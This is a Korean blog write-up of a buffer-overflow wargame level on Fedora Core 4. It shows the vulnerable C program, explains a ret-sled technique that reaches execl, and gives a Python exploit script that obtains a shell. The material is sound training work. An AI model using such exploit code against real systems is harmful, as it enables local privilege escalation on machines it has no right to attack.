Fedora Core 4 - Challenge [dark_stone -> cruel


[Summary]

1. ret sled를 이용하여 스택에 존재하는 바뀌지 않는 값을 인자로 이용한다.  쉘을 실행하는 역할의 스택에 존재하는 값의 파일명을 생성하여 해당 파일을 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- cruel
	- Local BOF on Fedora Core 4
	- hint : no more fake ebp, RET sleding on random library
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


[Analysis] 

main 함수의 ret 명령인 main+109에 break point를 걸고 프로그램을 실행시킨 후 스택을 살펴보았다. RET에 main+109 주소를 넣고 ret sled를 이용하여 stack을 쭉 타고 미끄러질 수 있는데 인자로 적합한 값이 나오면 ret sled를 멈추고 execl을 실행하면 된다. 스택을 살펴보면 0x008caff4의 주소가 인자로 적합해 보이는데 이를 인자로 넣고 실행하기 위해서는 ret sled를 이용하여 execl 함수 주소를 현재 RET 주소보다 28 바이트 뒤로 이동해야 한다. 28 바이트 뒤에 execl 함수의 주소를 입력하고, 심볼릭 링크를 이용하여 파일명을 \x3c\xad\x8c로 생성하면 execl이 해당 파일을 실행하므로 결론적으로 쉘을 획득할 수 있다.


[Exploit]

import os
from struct import * 

p = lambda x : pack("<L", x)

ret = 0x08048451
execl = 0x832d68

payload = 'A'*260 		# dummy
payload += p(ret) * 7	# ret sleding
payload += p(execl) 	# execl

target = 'cruel'

os.execv(target, (target, payload[:-1]))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

+ Recent posts